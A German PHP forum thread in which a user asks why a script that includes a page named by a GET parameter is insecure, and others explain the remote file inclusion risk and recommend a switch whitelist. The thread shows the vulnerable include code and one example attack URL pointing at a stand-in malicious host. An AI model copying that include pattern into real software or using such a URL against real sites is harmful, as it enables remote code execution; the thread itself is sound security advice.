Was ist daran unsicher ?

Einklappen
X
 
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • Was ist daran unsicher ?

    Hallo,

    auf der Suche nach neuen Navigationmöglichkeiten bin ich auf eine Diskussion gestossen, die mich verunsichert.

    Folgendes Script soll furchtbar unsicher sein.
    PHP-Code:
    <?
    if(empty($_GET['site']) || !file_exists($_GET['site'].".php") || $_SERVER["HTTP_HOST"]!="www.deinedomain.de") {
    $_GET['site']="start";
    }
    ?>
    <table border="0">
    <tr>
    <td><!-- Navigation //--></td>
    <td><? include($_GET['site'].".php"); ?></td>
    </tr>
    </table>
    Jetzt frag ich mich nur wieso, das Ding unsicher sein soll?
    Was kann ich denn damit anrichten ?

    Gruss derbo

  • #2
    Hallo derbo,

    http://www.php-resource.de/forum/sho...hlight=include

    der teil von Jahlive
    In Flames - Pinbal Map
    Becoming the Archetype - No Fall Too Far
    Pantera

    Kommentar


    • #3
      Das unsichere daran ist, dass du die Daten mehr oder weniger ungeprüft einbindest.
      Mindestens einen Switch solltest du durch die $_GET-Var machen und nur gültige Werte durchlassen.
      PHP-Code:
      switch($_GET['site']){
          case 
      'home':
             include(
      'index.php');
          break;
      ... 
      Auf keinen Fall solltest du die Get Var einfach so einbinden. Besser ist es wenn du vorgibst welche Seite eingebunden werden soll. Nicht die $_GET Var inkludieren.
      Never ever trust incoming data.

      Gruss

      tobi
      Gutes Tutorial | PHP Manual | MySql Manual | PHP FAQ | Apache | Suchfunktion für eigene Seiten

      [color=red]"An error does not become truth by reason of multiplied propagation, nor does truth become error because nobody sees it."[/color]
      Mohandas Karamchand Gandhi (Mahatma Gandhi) (Source)

      Kommentar


      • #4
        Also diese Lösung finde ich gerade noch verträglich, da

        PHP-Code:
        !file_exists($_GET['site'].".php"
        schlimmeres verhindert. (Nur Zugriff auf lokale Dateien mit der Endung ".php")

        Die Musterlösung wäre natürlich ein Switch, bei dem wirklich nur vorgegebene Werte akzeptiert werden.

        €: Zu langsam ....

        Kommentar


        • #5
          file_exists() akzeptiert ab PHP5 auch URLs, also nix mit 'nur lokale'.

          Kommentar


          • #6
            Alles klar,
            doch wie bekomme ich es denn hin, dass beim ersten Seitenaufruf (wo ja noch keine GET-Variable übergeben wird, die Startseite aufgerufen wird ?

            Kommentar


            • #7
              @onemorered

              Wo hast du dass her? Auf php.net kann ich keinen entsprechenden Hinweis drauf finden
              Ihr habt ein Torturial durchgearbeitet, das auf den mysql_-Funktionen aufbaut?
              Schön - etwas Geschichte kann ja nicht schaden.
              Aber jetzt seht euch bitte php.net/pdo oder php.net/mysqli bevor ihr beginnt!

              Kommentar


              • #8
                OK, also

                index.php?site=http://www.boese-seite.de/boeses_script.php

                und wenn dort ein wenig PHP-Code drin steht, kann man schon relativ viel Schaden anrichten (Da reicht eigentlich sogar schon ein Ein-zeiler )

                €dit: Ich seh grad, dass das nicht so in der Doku steht:

                Anmerkung: Diese Funktion kann nicht mit entfernten Dateien arbeiten, da der Zugriff auf die Datei, die bearbeitet werden soll, über das Dateisystem des Servers möglich sein muss.

                Kommentar


                • #9
                  Original geschrieben von derbo
                  Alles klar,
                  doch wie bekomme ich es denn hin, dass beim ersten Seitenaufruf (wo ja noch keine GET-Variable übergeben wird, die Startseite aufgerufen wird ?
                  Mach nen default in den switch. -> www.php.net/switch
                  Ihr habt ein Torturial durchgearbeitet, das auf den mysql_-Funktionen aufbaut?
                  Schön - etwas Geschichte kann ja nicht schaden.
                  Aber jetzt seht euch bitte php.net/pdo oder php.net/mysqli bevor ihr beginnt!

                  Kommentar


                  • #10
                    immer absolute pfadangaben verwenden!

                    Kommentar


                    • #11
                      @quetschi:
                      Tip: As of PHP 5.0.0 this function can also be used with some URL wrappers. Refer to Appendix L for a listing of which wrappers support stat() family of functionality.
                      aus dem manual. ihr solltet nicht auf die hinkende deutsche version vertrauen. die ist murks.

                      in den user notes stehen auch hinweise diesbezüglich.

                      Kommentar


                      • #12
                        Jawoll, jetzt kann ich Feierabend machen

                        Kommentar


                        • #13
                          Original geschrieben von TobiaZ
                          @quetschi:
                          aus dem manual. ihr solltet nicht auf die hinkende deutsche version vertrauen. die ist murks.

                          in den user notes stehen auch hinweise diesbezüglich.
                          Glücklichweise war mir diese includieren mit übergebenen Parametern sowieso zuwider seid ich angefangen hab mit PHP rumzupfuschen - obwohl mir damals bestimmt noch gar nicht der Gedanke kam, dass das gefährlich sein könnte - ich mochte das einfach nur ned so machen.
                          Von daher betrifft mich das ned - aber wer evtl. das so absichern wollte mit file_exists könnte evtl. ne böse Überraschung erleben wenn der Provider mal auf PHP5 updated.
                          Ihr habt ein Torturial durchgearbeitet, das auf den mysql_-Funktionen aufbaut?
                          Schön - etwas Geschichte kann ja nicht schaden.
                          Aber jetzt seht euch bitte php.net/pdo oder php.net/mysqli bevor ihr beginnt!

                          Kommentar


                          • #14
                            wenn der Provider mal auf PHP5 updated.
                            da werden so viele eine böse überraschung erleben. auch ohne file_exists

                            Kommentar


                            • #15
                              da werden so viele eine böse überraschung erleben. auch ohne file_exists
                              Da rockt der Server. Da kann ich Tobi nur Recht geben. Ich habs selber feststellen müssen. Ich sag nur Open Base Dir Restriction.

                              Kommentar

                              Lädt...
                              X